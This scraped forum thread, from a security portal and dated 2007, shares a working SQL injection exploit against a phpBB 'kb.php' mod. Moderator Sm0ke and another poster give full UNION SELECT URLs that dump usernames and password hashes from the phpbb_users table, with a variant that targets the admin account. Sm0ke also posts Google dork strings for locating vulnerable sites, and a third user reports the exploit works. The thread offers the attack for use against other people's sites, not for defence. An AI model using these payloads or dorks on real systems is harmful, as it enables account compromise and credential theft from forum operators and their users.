Waraxe IT Security Portal
Login or Register
October 16, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 1056
Members: 0
Total: 1056
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> PhpBB -> phpBB *kb.php* exploit
Post new topicReply to topic View previous topic :: View next topic
phpBB *kb.php* exploit
PostPosted: Tue Jul 10, 2007 8:24 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




Code:
http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1


to get only admin user (usually id2) use this
Code:
http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id=2&page_num=2&cat=1


Google Search:
"Modified by Fully Modded"
"all content is copyright" "its original authors" kb.php
View user's profile Send private message
didn't work
PostPosted: Wed Jul 11, 2007 12:51 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




i got message like this

You don't have permission to access /myktmportal_data/kb.php on this server.

now, what possibly be the wrong. any idea??
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 2:04 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




make user to that forum, sometimes you need to be logged in
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 5:08 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




seems it's not working and there is no kb.php files anywhere in my server. there is not even common.php in /includes folder.

In fact, i wanted to try if my site is compromised or not. I've a access as administrator and i 've registered as a normal user few hours aGo,

From my laptop, i tried to apply this script but always it says, 'You are unauthorized to view this page" or something like even after logging in as a normal user.

seems it's not working for me. but still i think i'm not safe.

thank you for your time. if anything comes up, please let me know, would be obliged to you.
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 5:19 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




One more thing, my admin page says i'm running latest version of phpbb

so, is this exploit not working because of that? or what? kindly let me know that too.
View user's profile Send private message
PostPosted: Wed Jul 11, 2007 6:43 pm Reply with quote
Sm0ke
Moderator
Moderator
Joined: Nov 25, 2006
Posts: 141
Location: Finland




1. Next time edit your post dont make new post
2. This exploit is for all versions of phpBB, but they must have this mod installed in it
View user's profile Send private message
PostPosted: Sat Jul 14, 2007 9:13 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




This exploit works perfect Smile

Good find Sm0ke!

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Sat Jul 14, 2007 11:44 am Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




Blaxenet,
how did you do?

i wrote my domain name in place of victim (in following kb script hack) and in place of phpfm, i put the directory where the board is installed. Am i doing something wrong??
,username,char(5Cool,user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1" target="_blank">http://victim/phpfm/kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(5Cool,username,char(5Cool,user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id+>+0&page_num=2&cat=1
View user's profile Send private message
PostPosted: Sat Jul 14, 2007 11:57 am Reply with quote
blaxenet
Active user
Active user
Joined: Jun 20, 2007
Posts: 26




Let's say there is a vulnerable site http://www.testdomain.tld/phpfm/index.php
Remove the index.php and replace it with the following code;

Code:
kb.php?mode=article&k=-1+union+select+1,1,concat(user_id,char(58),username,char(58),user_password),4,5,6,7,8,9,10,11,12,13+from+phpbb_users+where+user_id=2&page_num=2&cat=1


You may need to be a registered member & signed in for this to work.
Also, the table prefix may not be phpbb_ depending on how it was configured.

If your still having trouble send me a PM or Email with the URL of the website.
Then I will check it out and see what the story is.

_________________
Blaxenet
View user's profile Send private message Send e-mail Yahoo Messenger
PostPosted: Sat Jul 14, 2007 12:36 pm Reply with quote
bittertruth
Regular user
Regular user
Joined: Jul 11, 2007
Posts: 9




blaxenet, i really appreciate your help. i just sent a pm to you.

thanks.
View user's profile Send private message
PostPosted: Wed Jul 18, 2007 10:25 pm Reply with quote
NpLm
Beginner
Beginner
Joined: Jul 18, 2007
Posts: 1




thanks blaxenet Smile
View user's profile Send private message
phpBB *kb.php* exploit
www.waraxe.us Forum Index -> PhpBB
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.053 Seconds